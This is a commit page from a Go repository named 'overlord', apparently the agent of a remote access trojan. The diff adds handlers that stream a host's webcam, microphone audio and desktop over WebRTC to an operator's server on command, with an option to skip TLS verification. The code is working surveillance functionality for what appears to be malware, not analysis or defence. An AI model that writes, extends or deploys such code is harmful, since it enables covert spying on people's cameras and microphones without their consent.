vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

web rtc for webcam, audio, etc.

Browse Source
This commit is contained in:
KingKDot
2026-05-13 20:19:21 -05:00
parent 05fe31f04e
commit bf093f5a7d
20 changed files with 986 additions and 199 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Client/cmd/agent/handlers/command.go
+11 -2
View File
@@ -23,6 +23,7 @@ import (
"overlord-client/cmd/agent/plugins"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/sysinfo"
"overlord-client/cmd/agent/webrtcpub"
"overlord-client/cmd/agent/wire"
)
@@ -488,6 +489,12 @@ func startDesktopAudioSession(ctx context.Context, env *runtime.Env, sessionID s
if len(chunk) == 0 {
return
}
// Fan to any active WebRTC audio session. No-op when nothing is
// subscribed, so the cost is just a map lookup under a read lock.
if webrtcpub.IsActive(webrtcpub.KindAudio) {
samples := pcm16BytesToInt16(chunk)
_ = webrtcpub.WriteAudio(webrtcpub.KindAudio, samples)
}
msg := map[string]interface{}{
"type": "desktop_audio_uplink",
"sessionId": sessionID,
@@ -618,7 +625,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
return handleWebrtcPublish(ctx, env, cmdID, payload)
case "webrtc_stop":
return handleWebrtcStop(ctx, env, cmdID)
payload, _ := envelope["payload"].(map[string]interface{})
return handleWebrtcStop(ctx, env, cmdID, payload)
case "webrtc_p2p_offer":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
@@ -633,7 +641,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
return handleWebrtcP2PIce(ctx, env, cmdID, payload)
case "webrtc_p2p_stop":
return handleWebrtcP2PStop(ctx, env, cmdID)
payload, _ := envelope["payload"].(map[string]interface{})
return handleWebrtcP2PStop(ctx, env, cmdID, payload)
case "desktop_start":
if goruntime.GOOS == "darwin" {
perms := sysinfo.DarwinPermissions()
Overlord-Client/cmd/agent/handlers/webrtc.go
+67 -15
View File
@@ -2,6 +2,7 @@ package handlers
import (
"context"
"encoding/binary"
"fmt"
"log"
"net/url"
@@ -13,6 +14,33 @@ import (
"overlord-client/cmd/agent/wire"
)
func pcm16BytesToInt16(chunk []byte) []int16 {
n := len(chunk) / 2
out := make([]int16, n)
for i := 0; i < n; i++ {
out[i] = int16(binary.LittleEndian.Uint16(chunk[i*2:]))
}
return out
}
func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind {
switch s, _ := payload["kind"].(string); s {
case "webcam":
return webrtcpub.KindWebcam
case "audio":
return webrtcpub.KindAudio
default:
return webrtcpub.KindDesktop
}
}
func payloadBool(payload map[string]interface{}, key string, fallback bool) bool {
if v, ok := payload[key].(bool); ok {
return v
}
return fallback
}
func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
whipPath, _ := payload["whipPath"].(string)
token, _ := payload["token"].(string)
@@ -21,6 +49,10 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
return nil
}
kind := kindFromPayload(payload)
hasVideo := payloadBool(payload, "hasVideo", kind != webrtcpub.KindAudio)
hasAudio := payloadBool(payload, "hasAudio", kind == webrtcpub.KindAudio)
whipURL, err := buildWhipURL(env, whipPath)
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
@@ -32,20 +64,23 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
PublishToken: token,
TLSInsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
TLSCAPath: env.Cfg.TLSCAPath,
HasVideo: hasVideo,
HasAudio: hasAudio,
}
goSafe("webrtc publish", env.Cancel, func() {
if _, err := webrtcpub.Start(ctx, opts); err != nil {
log.Printf("webrtc: publish start failed: %v", err)
if _, err := webrtcpub.Start(ctx, kind, opts); err != nil {
log.Printf("webrtc: publish[%s] start failed: %v", kind, err)
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error(),
})
return
}
// Force the encoder to emit a fresh SPS/PPS/IDR so the freshly
// subscribed viewer can start decoding immediately — otherwise it has
// to wait up to keyframeEvery for the next natural IDR.
capture.ResetPrev()
// Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can
// decode immediately instead of waiting for the next natural IDR.
if hasVideo {
capture.ResetPrev()
}
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
})
@@ -53,9 +88,13 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
return nil
}
func handleWebrtcStop(ctx context.Context, env *runtime.Env, cmdID string) error {
func handleWebrtcStop(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
_ = ctx
webrtcpub.Stop()
if payload != nil {
webrtcpub.Stop(kindFromPayload(payload))
} else {
webrtcpub.StopAll()
}
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -67,6 +106,10 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
sendCommandResultSafe(env, cmdID, false, "missing sessionId/sdp")
return nil
}
kind := kindFromPayload(payload)
hasVideo := payloadBool(payload, "hasVideo", kind != webrtcpub.KindAudio)
hasAudio := payloadBool(payload, "hasAudio", kind == webrtcpub.KindAudio)
kindStr := string(kind)
callbacks := webrtcpub.P2POfferCallbacks{
OnICE: func(c webrtcpub.ICECandidate) {
@@ -76,26 +119,29 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PIce{
Type: "webrtc_p2p_ice",
SessionID: sessionID,
Kind: kindStr,
Candidate: c.Candidate,
SDPMid: c.SDPMid,
SDPMLineIndex: c.SDPMLineIndex,
})
},
OnClose: func() {
log.Printf("webrtc: P2P session %s closed", sessionID)
log.Printf("webrtc: P2P[%s/%s] session closed", kind, sessionID)
},
}
answerSDP, err := webrtcpub.StartP2POffer(ctx, sessionID, offerSDP, callbacks)
answerSDP, err := webrtcpub.StartP2POffer(ctx, kind, sessionID, offerSDP, callbacks, hasVideo, hasAudio)
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
return nil
}
// Force a fresh SPS/PPS/IDR so the new P2P viewer can decode immediately.
capture.ResetPrev()
if hasVideo {
capture.ResetPrev()
}
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PAnswer{
Type: "webrtc_p2p_answer",
SessionID: sessionID,
Kind: kindStr,
SDP: answerSDP,
})
sendCommandResultSafe(env, cmdID, true, "")
@@ -110,7 +156,8 @@ func handleWebrtcP2PIce(_ context.Context, env *runtime.Env, cmdID string, paylo
if v, ok := payloadInt32(payload, "sdpMLineIndex"); ok {
idx = uint16(v)
}
webrtcpub.AddP2PICECandidate(sessionID, webrtcpub.ICECandidate{
kind := kindFromPayload(payload)
webrtcpub.AddP2PICECandidate(kind, sessionID, webrtcpub.ICECandidate{
Candidate: candidate,
SDPMid: mid,
SDPMLineIndex: idx,
@@ -120,8 +167,13 @@ func handleWebrtcP2PIce(_ context.Context, env *runtime.Env, cmdID string, paylo
return nil
}
func handleWebrtcP2PStop(_ context.Context, env *runtime.Env, cmdID string) error {
webrtcpub.StopP2P()
func handleWebrtcP2PStop(_ context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
sessionID, _ := payload["sessionId"].(string)
if sessionID == "" {
webrtcpub.StopAllP2P()
} else {
webrtcpub.StopP2P(kindFromPayload(payload), sessionID)
}
sendCommandResultSafe(env, cmdID, true, "")
return nil
}